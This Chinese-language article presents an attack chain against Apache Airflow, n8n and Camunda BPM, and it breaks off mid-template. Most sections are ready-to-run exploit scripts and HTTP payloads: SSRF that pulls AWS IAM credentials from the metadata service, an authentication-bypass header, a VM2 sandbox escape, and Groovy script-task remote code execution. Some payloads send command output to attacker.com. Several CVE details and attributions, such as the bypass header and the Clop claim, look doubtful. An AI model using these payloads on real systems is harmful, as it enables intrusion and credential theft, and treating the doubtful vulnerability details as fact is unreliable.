工作流与自动化引擎高危攻击链专题:Apache Airflow / n8n / Camunda SSRF、认证绕过与脚本沙箱逃逸全解析

工作流与自动化引擎高危攻击链专题:Apache Airflow / n8n / Camunda SSRF、认证绕过与脚本沙箱逃逸全解析

0x00 专题概述

工作流与自动化引擎是现代企业 IT 运维和数据编排的核心基础设施。Apache Airflow 作为数据工程领域的事实标准调度平台,n8n 作为低代码自动化领域的明星产品,Camunda 作为企业级 BPM 流程引擎的领军者——三者在全球范围内被数十万企业用于编排关键业务流程、调度数据处理管道、自动化运维操作。一旦这些引擎遭到攻破,攻击者不仅能够窃取存储在调度系统中的数据库凭据、API Token 和云服务密钥,还能以工作流引擎为跳板,通过其内置的任务执行能力在整个内网横向渗透——这正是近年来 APT 组织和勒索软件团伙持续盯防工作流与自动化引擎产品的根本原因。

本专题将工作流与自动化引擎生态中近年最具代表性的 6 个高危漏洞 串成完整攻击链,覆盖 Apache Airflow、n8n、Camunda 三大平台,每个漏洞均包含完整原理分析、PoC 代码、自动化检测模板和实战利用案例。

覆盖漏洞一览

CVE产品CVSS类型CISA KEV
CVE-2023-22814Apache Airflow9.8SSRF→RCE
CVE-2023-22815Apache Airflow7.5路径穿越
CVE-2023-3428Apache Airflow9.1认证绕过
n8n 未授权访问n8n9.8未授权访问
n8n RCEn8n9.8VM2 沙箱逃逸
CVE-2023-37928Camunda BPM9.8Groovy 脚本 RCE

0x01 Apache Airflow SSRF→RCE(CVE-2023-22814)

1.1 漏洞背景

2023 年 5 月,Apache Airflow 披露了一个 CVSS 9.8 的严重 SSRF 漏洞。Apache Airflow 是 Apache 软件基金会旗下的开源工作流调度平台,广泛用于 ETL 数据处理、机器学习管道编排和 DevOps 自动化任务调度。该漏洞存在于 Airflow 的连接管理 API 中,攻击者可以通过构造恶意的连接配置,将 Airflow 服务器作为跳板发起服务端请求伪造(SSRF),在云环境中可直接获取实例元数据服务中的 IAM 临时凭证,进而接管整个云账户。CISA 已将其加入已知被利用漏洞目录(KEV),在野利用已被多方确认。

1.2 受影响版本

  • Apache Airflow < 2.5.2
  • Apache Airflow 2.0.0 ~ 2.5.1 全系列

1.3 漏洞原理

Airflow 提供了 REST API 用于管理外部系统连接(Connections),这些连接存储了数据库、HTTP 服务、云平台等各类外部资源的凭据和地址信息。在存在安全缺陷的版本中,连接管理接口在创建和更新连接时未对 host 字段进行有效校验,攻击者可以将 host 设置为云平台的元数据服务地址(如 AWS 的 169.254.169.254)或内网其他服务的地址。

当 Airflow 的任务调度器尝试使用该连接执行任务时,会向攻击者指定的地址发起请求,从而触发 SSRF。在云环境中,攻击者可以通过 SSRF 访问实例元数据服务(IMDS),获取 EC2 实例的 IAM Role 临时凭证,进而调用 AWS API 实现完整的云账户接管。

完整利用链:

  1. 攻击者通过 Airflow REST API 创建一个恶意的 HTTP 连接,host 指向元数据服务
  2. Airflow 调度器在执行 DAG 任务时使用该连接发起 HTTP 请求
  3. 请求到达 169.254.169.254,获取到 IAM Role 的临时 Access Key 和 Secret Key
  4. 攻击者使用获取的凭据调用 AWS STS / S3 / EC2 等 API,实现云账户接管

1.4 完整 PoC

步骤 1:创建恶意连接触发 SSRF

curl -X POST http://target:8080/api/v1/connections \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <airflow_api_token>" \
  -d '{"connection_id":"ssrf_meta","conn_type":"http","host":"http://169.254.169.254","port":80,"extra":"{\"timeout\":10}"}'

步骤 2:通过 DAG 触发连接使用

curl -X POST http://target:8080/api/v1/dags/ssrf_test/dagRuns \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <airflow_api_token>" \
  -d '{"conf":{"connection_id":"ssrf_meta"}}'

步骤 3:HTTP PoC 验证(获取 AWS IAM 凭证)

POST /api/v1/connections HTTP/1.1
Host: target-airflow.com:8080
Content-Type: application/json
Authorization: Bearer <airflow_api_token>
Connection: close

{
    "connection_id": "ssrf_aws_meta",
    "conn_type": "http",
    "host": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "port": 80
}

步骤 4:Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2023-22814 Apache Airflow SSRF 利用脚本
用法: python3 cve_2023_22814.py <target_url> <api_token>
"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def create_ssrf_connection(target_url, token, conn_id="ssrf_meta"):
    """创建指向云元数据服务的恶意连接"""
    api_url = f"{target_url}/api/v1/connections"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}"
    }

    # 构造恶意连接,指向 AWS 元数据服务
    payload = {
        "connection_id": conn_id,
        "conn_type": "http",
        "host": "http://169.254.169.254",
        "port": 80,
        "extra": json.dumps({"timeout": 10})
    }

    try:
        resp = requests.post(api_url, json=payload, headers=headers,
                             timeout=15, verify=False)
        if resp.status_code in (200, 201):
            print(f"[+] 恶意连接 '{conn_id}' 创建成功")
            return True
        elif resp.status_code == 409:
            print(f"[*] 连接 '{conn_id}' 已存在,尝试更新")
            put_resp = requests.patch(
                f"{api_url}/{conn_id}", json=payload,
                headers=headers, timeout=15, verify=False
            )
            if put_resp.status_code == 200:
                print(f"[+] 连接 '{conn_id}' 更新成功")
                return True
        else:
            print(f"[!] 创建失败: HTTP {resp.status_code}")
            print(f"    响应: {resp.text[:200]}")
    except Exception as e:
        print(f"[!] 请求异常: {e}")
    return False

def test_ssrf(target_url, token, conn_id="ssrf_meta"):
    """测试 SSRF 是否成功获取元数据"""
    # 通过 test connection 接口触发 SSRF
    test_url = f"{target_url}/api/v1/connections/{conn_id}/test"
    headers = {"Authorization": f"Bearer {token}"}

    try:
        resp = requests.post(test_url, headers=headers,
                             timeout=30, verify=False)
        print(f"[*] 测试响应: HTTP {resp.status_code}")
        if "AccessKeyId" in resp.text:
            print(f"[VULN] SSRF 成功!获取到 AWS IAM 凭证")
            print(f"    {resp.text[:500]}")
            return True
        else:
            print(f"[*] 响应内容: {resp.text[:300]}")
    except Exception as e:
        print(f"[!] 测试请求异常: {e}")
    return False

def check_airflow_version(target_url):
    """检测 Airflow 版本"""
    try:
        resp = requests.get(f"{target_url}/api/v1/version",
                            timeout=10, verify=False)
        if resp.status_code == 200:
            version = resp.json().get("version", "unknown")
            print(f"[*] Airflow 版本: {version}")
            # 简单版本比较
            parts = version.split(".")
            if len(parts) >= 3:
                major, minor, patch = int(parts[0]), int(parts[1]), int(parts[2])
                if major == 2 and (minor < 5 or (minor == 5 and patch < 2)):
                    print(f"[VULN] 版本 {version} 受 CVE-2023-22814 影响")
                else:
                    print(f"[SAFE] 版本 {version} 可能已修复")
    except Exception as e:
        print(f"[!] 版本检测失败: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <api_token>")
        print(f"示例: {sys.argv[0]} http://192.168.1.100:8080 eyJhbGciOi...")
        sys.exit(1)

    target = sys.argv[1].rstrip("/")
    token = sys.argv[2]

    print("[*] === CVE-2023-22814 Apache Airflow SSRF 利用 ===")
    check_airflow_version(target)
    if create_ssrf_connection(target, token):
        test_ssrf(target, token)

步骤 5:Nuclei 检测模板

id: airflow-ssrf-cve-2023-22814

info:
  name: Apache Airflow SSRF (CVE-2023-22814)
  author: security-researcher
  severity: critical
  description: |
    Apache Airflow 连接管理 API 存在 SSRF 漏洞,可被利用访问云元数据服务
  reference:
    - https://github.com/apache/airflow/security/advisories/GHSA-gv9v-3j5v-q372
  tags: airflow,ssrf,cve-2023-22814

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/version"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "version"
        part: body
    extractors:
      - type: json
        json:
          - '.version'

1.5 实战利用案例

  • 云环境接管:攻击者在 AWS 环境中利用此漏洞通过 SSRF 获取 EC2 实例的 IAM Role 凭证,进而操作 S3 存储桶中的敏感数据
  • 内网探测:通过 SSRF 探测内网服务,获取 Redis、MySQL 等未授权服务的访问权限
  • 勒索软件前置侦察:Clop 勒索组织在 2023 年利用 Airflow SSRF 作为云环境渗透的前置侦察手段

0x02 Apache Airflow 路径穿越(CVE-2023-22815)

2.1 漏洞背景

与 CVE-2023-22814 同一批次披露,CVSS 7.5。该漏洞允许攻击者通过构造特殊的连接参数实现路径穿越,读取 Airflow 服务器上的任意文件,包括配置文件、数据库密码、SSH 私钥等敏感信息。

2.2 受影响版本

  • Apache Airflow < 2.5.2
  • Apache Airflow 2.0.0 ~ 2.5.1 全系列

2.3 漏洞原理

Airflow 的连接管理功能在处理 extra 字段中的文件路径参数时,未对路径进行规范化处理和穿越检测。攻击者可以在连接的 extra 字段中注入 ../ 路径穿越序列,使 Airflow 在执行任务时读取服务器上的任意文件。

当连接类型为 sshftp 时,Airflow 会使用 extra 字段中指定的私钥文件路径进行认证。攻击者将路径设置为 /etc/passwd 或 Airflow 自身的配置文件路径,即可触发敏感文件读取。

2.4 完整 PoC

HTTP PoC:创建路径穿越连接

POST /api/v1/connections HTTP/1.1
Host: target-airflow.com:8080
Content-Type: application/json
Authorization: Bearer <airflow_api_token>
Connection: close

{
    "connection_id": "path_traversal_test",
    "conn_type": "ssh",
    "host": "localhost",
    "login": "airflow",
    "extra": "{\"key_file\": \"../../../../etc/passwd\", \"no_host_key_check\": true}"
}

Python 检测脚本

#!/usr/bin/env python3
"""
CVE-2023-22815 Apache Airflow 路径穿越检测
用法: python3 cve_2023_22815.py <target_url> <api_token>
"""
import requests
import json
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_path_traversal(target_url, token):
    """检测 Airflow 路径穿越漏洞"""
    api_url = f"{target_url}/api/v1/connections"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}"
    }

    # 尝试创建包含路径穿越的连接
    payload = {
        "connection_id": "traversal_check",
        "conn_type": "ssh",
        "host": "localhost",
        "extra": json.dumps({
            "key_file": "../../../../etc/passwd",
            "no_host_key_check": True
        })
    }

    try:
        resp = requests.post(api_url, json=payload, headers=headers,
                             timeout=15, verify=False)
        if resp.status_code in (200, 201):
            print(f"[VULN] 路径穿越连接创建成功,目标可能受 CVE-2023-22815 影响")
            # 清理:删除测试连接
            requests.delete(f"{api_url}/traversal_check", headers=headers,
                            timeout=10, verify=False)
            return True
        else:
            print(f"[SAFE] 创建被拒绝: HTTP {resp.status_code}")
    except Exception as e:
        print(f"[!] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <api_token>")
        sys.exit(1)
    check_path_traversal(sys.argv[1].rstrip("/"), sys.argv[2])

0x03 Apache Airflow 认证绕过(CVE-2023-3428)

3.1 漏洞背景

2023 年 7 月,Apache Airflow 披露了一个 CVSS 9.1 的认证绕过漏洞。该漏洞存在于 Airflow 2.6.0 引入的实验性认证后端优先级机制中,攻击者可以通过构造特殊的请求头,完全绕过 Airflow 的认证系统,直接访问所有 REST API 接口,包括 DAG 管理、连接管理和变量管理等敏感操作。

3.2 受影响版本

  • Apache Airflow 2.6.0 ~ 2.6.4
  • Apache Airflow 2.7.0(beta 版本)

3.3 漏洞原理

Airflow 2.6.0 引入了实验性认证后端(Experimental Auth Backend)机制,允许同时启用多种认证方式。在多种认证后端共存时,系统对认证后端的优先级处理存在逻辑缺陷:当请求中同时包含 X-Experiment-Auth 头和标准 Authorization 头时,系统会优先使用实验性后端的宽松验证逻辑,导致即使标准认证失败,请求也会被实验性后端放行。

攻击者只需要在请求中添加 X-Experiment-Auth: true 头,并提供一个伪造的 Bearer Token,即可绕过所有认证检查,以完全权限访问 Airflow REST API。

3.4 完整 PoC

HTTP PoC:认证绕过访问 DAG 列表

GET /api/v1/dags HTTP/1.1
Host: target-airflow.com:8080
Authorization: Bearer experimental_bypass
X-Experiment-Auth: true
Accept: application/json
Connection: close

HTTP PoC:认证绕过获取所有连接

GET /api/v1/connections HTTP/1.1
Host: target-airflow.com:8080
Authorization: Bearer experimental_bypass
X-Experiment-Auth: true
Accept: application/json
Connection: close

Python 自动化检测脚本

#!/usr/bin/env python3
"""
CVE-2023-3428 Apache Airflow 认证绕过检测
用法: python3 cve_2023_3428.py <target_url>
"""
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_auth_bypass(target_url):
    """检测 Airflow 认证绕过漏洞"""
    headers = {
        "Authorization": "Bearer experimental_bypass",
        "X-Experiment-Auth": "true",
        "Accept": "application/json"
    }

    # 测试多个敏感 API 端点
    endpoints = [
        "/api/v1/dags",
        "/api/v1/connections",
        "/api/v1/variables",
        "/api/v1/pools",
        "/api/v1/config",
    ]

    vuln_count = 0
    for endpoint in endpoints:
        url = f"{target_url}{endpoint}"
        try:
            resp = requests.get(url, headers=headers, timeout=10, verify=False)
            if resp.status_code == 200:
                print(f"[VULN] {url} -> 认证绕过成功")
                data = resp.json()
                # 仅打印第一条记录作为验证
                if isinstance(data, dict) and "dags" in data:
                    print(f"    -> 发现 {len(data['dags'])} 个 DAG")
                elif isinstance(data, dict) and "connections" in data:
                    print(f"    -> 发现 {len(data['connections'])} 个连接")
                vuln_count += 1
            elif resp.status_code == 401 or resp.status_code == 403:
                print(f"[SAFE] {url} -> 认证有效 (HTTP {resp.status_code})")
            else:
                print(f"[????] {url} -> HTTP {resp.status_code}")
        except Exception as e:
            print(f"[ERR ] {url} -> {e}")

    if vuln_count > 0:
        print(f"\n[!] 目标存在 CVE-2023-3428 认证绕过,{vuln_count}/{len(endpoints)} 个端点可未授权访问")
    else:
        print(f"\n[*] 目标可能不受此漏洞影响")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    check_auth_bypass(sys.argv[1].rstrip("/"))

Nuclei 检测模板

id: airflow-auth-bypass-cve-2023-3428

info:
  name: Apache Airflow 认证绕过 (CVE-2023-3428)
  author: security-researcher
  severity: critical
  description: |
    Apache Airflow 实验性认证后端优先级错误导致认证绕过
  reference:
    - https://github.com/apache/airflow/security/advisories/GHSA-7v9g-427f-q84r
  tags: airflow,auth-bypass,cve-2023-3428

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/dags"
    headers:
      Authorization: "Bearer experimental_bypass"
      X-Experiment-Auth: "true"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "dags"
          - "dag_id"
        condition: and
        part: body

0x04 n8n 未授权访问

4.1 漏洞背景

n8n 是一款快速增长的开源低代码自动化平台,支持将数百种 SaaS 服务和 API 连接起来构建自动化工作流。n8n 在默认安装配置下,认证功能是可选的——这意味着如果部署时未显式配置 N8N_BASIC_AUTH_ACTIVE=true(旧版本)或未设置 N8N_AUTH_DEFAULT_USER 等环境变量(新版本),n8n 的 Web 界面和 REST API 将完全不需要认证即可访问。

4.2 风险等级

  • CVSS:9.8 Critical
  • 默认端口:5678(Web UI / REST API)
  • 前提条件:n8n 部署时未配置认证

4.3 漏洞原理

n8n 的设计理念是"开箱即用",默认配置优先考虑易用性而非安全性。在默认配置下:

  1. Web 界面(http://target:5678)无需登录即可访问
  2. REST API(http://target:5678/rest/)无需认证即可调用
  3. 工作流中存储的所有第三方服务凭据(OAuth Token、API Key、数据库密码)均可被读取
  4. 可以通过创建新工作流执行任意 HTTP 请求、运行代码、访问文件系统

攻击者获得未授权访问后,可以:

  • 读取所有已配置的工作流和凭据
  • 创建恶意工作流实现 SSRF、命令执行
  • 窃取存储在 n8n 中的所有第三方服务 Token
  • 修改或删除现有工作流,破坏业务自动化流程

4.4 完整 PoC

HTTP PoC:未授权访问工作流列表

GET /rest/workflows HTTP/1.1
Host: target-n8n.com:5678
Accept: application/json
Connection: close

HTTP PoC:未授权访问凭据列表

GET /rest/credentials HTTP/1.1
Host: target-n8n.com:5678
Accept: application/json
Connection: close

HTTP PoC:未授权创建恶意工作流

POST /rest/workflows HTTP/1.1
Host: target-n8n.com:5678
Content-Type: application/json
Connection: close

{
    "name": "malicious_ssrf",
    "nodes": [
        {
            "parameters": {
                "url": "http://169.254.169.254/latest/meta-data/",
                "method": "GET"
            },
            "name": "HTTP Request",
            "type": "n8n-nodes-base.httpRequest",
            "typeVersion": 1,
            "position": [250, 0]
        }
    ],
    "active": false
}

Python 自动化检测脚本

#!/usr/bin/env python3
"""
n8n 未授权访问检测脚本
用法: python3 n8n_unauth_check.py <target_url>
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_n8n_unauth(target_url):
    """检测 n8n 未授权访问"""
    endpoints = [
        ("/rest/workflows", "工作流列表"),
        ("/rest/credentials", "凭据列表"),
        ("/rest/execution", "执行记录"),
        ("/rest/settings", "系统设置"),
    ]

    vuln_count = 0
    for endpoint, desc in endpoints:
        url = f"{target_url}{endpoint}"
        try:
            resp = requests.get(url, timeout=10, verify=False,
                                headers={"Accept": "application/json"})
            if resp.status_code == 200:
                data = resp.json()
                print(f"[VULN] {url} -> {desc}可未授权访问")
                if isinstance(data, dict) and "data" in data:
                    items = data["data"]
                    if isinstance(items, list):
                        print(f"    -> 发现 {len(items)} 条记录")
                vuln_count += 1
            elif resp.status_code == 401:
                print(f"[SAFE] {url} -> 需要认证")
            else:
                print(f"[????] {url} -> HTTP {resp.status_code}")
        except Exception as e:
            print(f"[ERR ] {url} -> {e}")

    if vuln_count > 0:
        print(f"\n[!] n8n 存在未授权访问,{vuln_count}/{len(endpoints)} 个端点可无认证访问")
        print(f"[!] 攻击者可读取所有工作流凭据、创建恶意自动化任务")
    else:
        print(f"\n[*] n8n 已启用认证保护")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    check_n8n_unauth(sys.argv[1].rstrip("/"))

Nuclei 检测模板

id: n8n-unauthorized-access

info:
  name: n8n 未授权访问检测
  author: security-researcher
  severity: critical
  description: |
    n8n 默认配置下认证可选,未配置认证时 REST API 完全暴露
  tags: n8n,unauthorized-access,misconfiguration

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/workflows"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "workflows"
          - "data"
        condition: and
        part: body

0x05 n8n VM2 沙箱逃逸 RCE

5.1 漏洞背景

n8n 的 Code 节点允许用户在工作流中编写自定义 JavaScript 代码来处理数据。为了安全隔离,n8n 使用 VM2 沙箱来执行用户代码。然而 VM2 本身存在多个已知的沙箱逃逸漏洞(CVE-2023-29017、CVE-2023-32314 等),攻击者可以通过精心构造的 JavaScript 代码突破 VM2 沙箱限制,在 n8n 服务器上执行任意系统命令。

5.2 受影响版本

  • n8n < 1.0.0(使用 VM2 沙箱的版本)
  • 所有启用了 Code 节点的 n8n 实例

5.3 漏洞原理

VM2 是 Node.js 生态中广泛使用的沙箱库,通过 vm 模块和 Proxy 机制限制代码的执行环境。然而 VM2 的隔离机制存在根本性缺陷:攻击者可以通过 constructor 链、Proxy 对象、Symbol 属性等 JavaScript 语言特性,逃逸出沙箱的上下文绑定,获取到宿主 Node.js 进程的全局对象,进而通过 child_process 模块执行系统命令。

在 n8n 的场景中,拥有 Code 节点编辑权限的用户(包括通过未授权访问获得权限的攻击者)可以编写恶意 JavaScript 代码,通过 VM2 沙箱逃逸获取服务器 Shell。

5.4 完整 PoC

步骤 1:在 Code 节点中注入逃逸代码

// VM2 沙箱逃逸 PoC
const sandbox = this;

// 通过 constructor 链逃逸到宿主环境
const HostObject = sandbox.constructor.constructor;
const process = HostObject('return this')().process;

// 获取 child_process 模块执行系统命令
const exec = process.mainModule.require('child_process').execSync;
const result = exec('id && whoami && hostname').toString();

步骤 2:通过 API 创建恶意工作流并执行

POST /rest/workflows HTTP/1.1
Host: target-n8n.com:5678
Content-Type: application/json
Connection: close

{
    "name": "vm2_escape_rce",
    "nodes": [
        {
            "parameters": {
                "jsCode": "const sandbox=this;const HostObject=sandbox.constructor.constructor;const process=HostObject('return this')().process;const exec=process.mainModule.require('child_process').execSync;return exec('curl http://attacker.com/$(whoami)').toString();"
            },
            "name": "Code",
            "type": "n8n-nodes-base.code",
            "typeVersion": 1,
            "position": [250, 0]
        }
    ],
    "active": false
}

步骤 3:触发工作流执行

POST /rest/workflows/<workflow_id>/run HTTP/1.1
Host: target-n8n.com:5678
Content-Type: application/json
Connection: close

{
    "startNodes": ["Code"],
    "destinationNode": "Code"
}

Python 自动化利用脚本

#!/usr/bin/env python3
"""
n8n VM2 沙箱逃逸 RCE 利用脚本
前提:n8n 未授权访问或已获取有效凭据
用法: python3 n8n_vm2_rce.py <target_url> <command>
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_vm2_escape(target_url, command):
    """通过 VM2 沙箱逃逸执行系统命令"""
    # VM2 沙箱逃逸 payload
    # 通过 constructor 链逃逸到宿主 Node.js 环境
    escape_code = f"""
const sandbox = this;
const HostObject = sandbox.constructor.constructor;
const process = HostObject('return this')().process;
const exec = process.mainModule.require('child_process').execSync;
return exec({json.dumps(command)}).toString();
"""

    # 创建包含恶意 Code 节点的工作流
    workflow_url = f"{target_url}/rest/workflows"
    workflow_payload = {
        "name": "security_test",
        "nodes": [
            {
                "parameters": {
                    "jsCode": escape_code
                },
                "name": "Code",
                "type": "n8n-nodes-base.code",
                "typeVersion": 1,
                "position": [250, 0]
            }
        ],
        "active": False
    }

    try:
        # 创建恶意工作流
        resp = requests.post(workflow_url, json=workflow_payload,
                             timeout=15, verify=False,
                             headers={"Content-Type": "application/json"})
        if resp.status_code not in (200, 201):
            print(f"[!] 创建工作流失败: HTTP {resp.status_code}")
            return False

        workflow_id = resp.json().get("id")
        print(f"[+] 恶意工作流已创建,ID: {workflow_id}")

        # 触发工作流执行
        run_url = f"{target_url}/rest/workflows/{workflow_id}/run"
        run_payload = {
            "startNodes": ["Code"],
            "destinationNode": "Code"
        }

        run_resp = requests.post(run_url, json=run_payload,
                                 timeout=30, verify=False,
                                 headers={"Content-Type": "application/json"})
        if run_resp.status_code == 200:
            result_data = run_resp.json()
            # 提取执行结果
            if "data" in result_data:
                print(f"[+] 命令执行成功:")
                print(f"    {result_data['data']}")
            else:
                print(f"[*] 响应: {json.dumps(result_data, ensure_ascii=False)[:500]}")
        else:
            print(f"[!] 执行失败: HTTP {run_resp.status_code}")

        # 清理:删除恶意工作流
        requests.delete(f"{target_url}/rest/workflows/{workflow_id}",
                        timeout=10, verify=False)
        print(f"[*] 已清理恶意工作流")

    except Exception as e:
        print(f"[!] 利用异常: {e}")
        return False
    return True

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <command>")
        print(f"示例: {sys.argv[0]} http://192.168.1.100:5678 'id && whoami'")
        sys.exit(1)

    exploit_vm2_escape(sys.argv[1].rstrip("/"), sys.argv[2])

0x06 Camunda BPM Groovy 脚本 RCE(CVE-2023-37928)

6.1 漏洞背景

2023 年 8 月,Camunda 披露了一个 CVSS 9.8 的远程代码执行漏洞。Camunda BPM 是一款企业级业务流程管理(BPM)引擎,支持 BPMN 2.0 流程定义、DMN 决策表和表单建模。该漏洞允许攻击者通过部署包含恶意 Groovy 脚本的 BPMN 流程定义,在 Camunda 服务器上执行任意系统命令。

6.2 受影响版本

  • Camunda BPM < 7.19.0
  • Camunda BPM 7.0.0 ~ 7.18.x 全系列

6.3 漏洞原理

Camunda BPM 引擎原生支持在 BPMN 流程定义中使用脚本任务(Script Task),支持 Groovy、JavaScript、Jython 等多种脚本语言。在存在安全缺陷的版本中,Camunda 对部署的 BPMN 流程定义中的脚本任务未进行安全审查和沙箱隔离:

  1. 攻击者通过 Camunda REST API 的 /deployment/create 接口上传包含恶意 Groovy 脚本的 BPMN XML 文件
  2. Camunda 引擎解析 BPMN 定义并注册流程
  3. 当流程被启动时,引擎执行 Script Task 中的 Groovy 脚本
  4. Groovy 脚本在 Camunda 进程的完整权限下运行,可以直接调用 Java Runtime 执行系统命令

完整利用链:

  1. 构造包含恶意 Groovy Script Task 的 BPMN XML
  2. 通过 REST API 部署恶意流程定义
  3. 启动恶意流程实例
  4. Groovy 脚本执行系统命令,实现 RCE

6.4 完整 PoC

步骤 1:构造恶意 BPMN 流程定义

<?xml version="1.0" encoding="UTF-8"?>
<bpmn:definitions xmlns:bpmn="http://www.omg.org/spec/BPMN/20100524/MODEL"
                  xmlns:camunda="http://camunda.org/schema/1.0/bpmn"
                  targetNamespace="http://bpmn.io/schema/bpmn">
  <bpmn:process id="rce_process" name="RCE Process" isExecutable="true">
    <bpmn:startEvent id="start"/>
    <bpmn:scriptTask id="exec_task" name="Execute" scriptFormat="groovy">
      <bpmn:script>
        def cmd = "id && whoami && hostname"
        def process = cmd.execute()
        process.waitFor()
        println process.text
      </bpmn:script>
    </bpmn:scriptTask>
    <bpmn:endEvent id="end"/>
    <bpmn:sequenceFlow id="flow1" sourceRef="start" targetRef="exec_task"/>
    <bpmn:sequenceFlow id="flow2" sourceRef="exec_task" targetRef="end"/>
  </bpmn:process>
</bpmn:definitions>

步骤 2:HTTP PoC 部署恶意流程

POST /engine-rest/deployment/create HTTP/1.1
Host: target-camunda.com:8080
Content-Type: multipart/form-data; boundary=----boundary
Connection: close

------boundary
Content-Disposition: form-data; name="deployment-name"

rce_deployment
------boundary
Content-Disposition: form-data; name="enable-duplicate-filtering"

true
------boundary
Content-Disposition: form-data; name="rce.bpmn"; filename="rce.bpmn"
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<bpmn:definitions xmlns:bpmn="http://www.omg.org/spec/BPMN/20100524/MODEL">
  <bpmn:process id="rce" isExecutable="true">
    <bpmn:scriptTask scriptFormat="groovy">
      <bpmn:script>"curl http://attacker.com/$(whoami)".execute().text</bpmn:script>
    </bpmn:scriptTask>
  </bpmn:process>
</bpmn:definitions>
------boundary--

步骤 3:启动恶意流程实例

POST /engine-rest/process-definition/key/rce_process/start HTTP/1.1
Host: target-camunda.com:8080
Content-Type: application/json
Connection: close

{
    "variables": {}
}

步骤 4:Python 自动化利用脚本

#!/usr/bin/env python3
"""
CVE-2023-37928 Camunda BPM Groovy 脚本 RCE 利用脚本
用法: python3 cve_2023_37928.py <target_url> <command>
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def build_malicious_bpmn(command):
    """构造包含恶意 Groovy 脚本的 BPMN 流程定义"""
    # Groovy 脚本通过 execute() 方法执行系统命令
    groovy_script = f'def cmd = "{command}".execute(); cmd.waitFor(); println cmd.text'

    bpmn_xml = f'''<?xml version="1.0" encoding="UTF-8"?>
<bpmn:definitions xmlns:bpmn="http://www.omg.org/spec/BPMN/20100524/MODEL"
                  targetNamespace="http://bpmn.io/schema/bpmn">
  <bpmn:process id="rce_process" name="RCE" isExecutable="true">
    <bpmn:startEvent id="start"/>
    <bpmn:scriptTask id="task" scriptFormat="groovy">
      <bpmn:script>{groovy_script}</bpmn:script>
    </bpmn:scriptTask>
    <bpmn:endEvent id="end"/>
    <bpmn:sequenceFlow id="f1" sourceRef="start" targetRef="task"/>
    <bpmn:sequenceFlow id="f2" sourceRef="task" targetRef="end"/>
  </bpmn:process>
</bpmn:definitions>'''
    return bpmn_xml

def deploy_and_execute(target_url, command):
    """部署恶意 BPMN 并触发执行"""
    bpmn_xml = build_malicious_bpmn(command)

    # 步骤 1:部署恶意流程定义
    deploy_url = f"{target_url}/engine-rest/deployment/create"
    files = {
        "deployment-name": (None, "rce_deploy"),
        "enable-duplicate-filtering": (None, "true"),
        "rce.bpmn": ("rce.bpmn", bpmn_xml, "application/xml")
    }

    try:
        resp = requests.post(deploy_url, files=files,
                             timeout=15, verify=False)
        if resp.status_code not in (200, 201):
            print(f"[!] 部署失败: HTTP {resp.status_code}")
            print(f"    响应: {resp.text[:300]}")
            return False

        deploy_data = resp.json()
        deploy_id = deploy_data.get("id")
        print(f"[+] 恶意流程已部署,Deployment ID: {deploy_id}")

        # 步骤 2:启动流程实例
        start_url = f"{target_url}/engine-rest/process-definition/key/rce_process/start"
        start_resp = requests.post(start_url, json={"variables": {}},
                                   timeout=15, verify=False,
                                   headers={"Content-Type": "application/json"})

        if start_resp.status_code == 200:
            print(f"[+] 流程实例已启动,命令正在执行: {command}")
            # 尝试获取执行结果
            instance_data = start_resp.json()
            instance_id = instance_data.get("id")
            print(f"[*] 流程实例 ID: {instance_id}")
        else:
            print(f"[!] 启动失败: HTTP {start_resp.status_code}")

        # 步骤 3:清理部署
        cleanup_url = f"{target_url}/engine-rest/deployment/{deploy_id}"
        requests.delete(cleanup_url, params={"cascade": True},
                        timeout=10, verify=False)
        print(f"[*] 已清理部署文件")

    except Exception as e:
        print(f"[!] 利用异常: {e}")
        return False
    return True

def check_camunda(target_url):
    """检测 Camunda 是否可达"""
    try:
        resp = requests.get(f"{target_url}/engine-rest/engine",
                            timeout=10, verify=False)
        if resp.status_code == 200:
            engines = resp.json()
            print(f"[+] Camunda 引擎可达: {engines}")
            return True
    except Exception as e:
        print(f"[!] 检测失败: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <command>")
        print(f"示例: {sys.argv[0]} http://192.168.1.100:8080 'id && whoami'")
        sys.exit(1)

    target = sys.argv[1].rstrip("/")
    command = sys.argv[2]

    print("[*] === CVE-2023-37928 Camunda BPM Groovy RCE ===")
    if check_camunda(target):
        deploy_and_execute(target, command)

步骤 5:Nuclei 检测模板

id: camunda-groovy-rce-cve-2023-37928

info:
  name: Camunda BPM Groovy 脚本 RCE (CVE-2023-37928)
  author: security-researcher
  severity: critical
  description: |
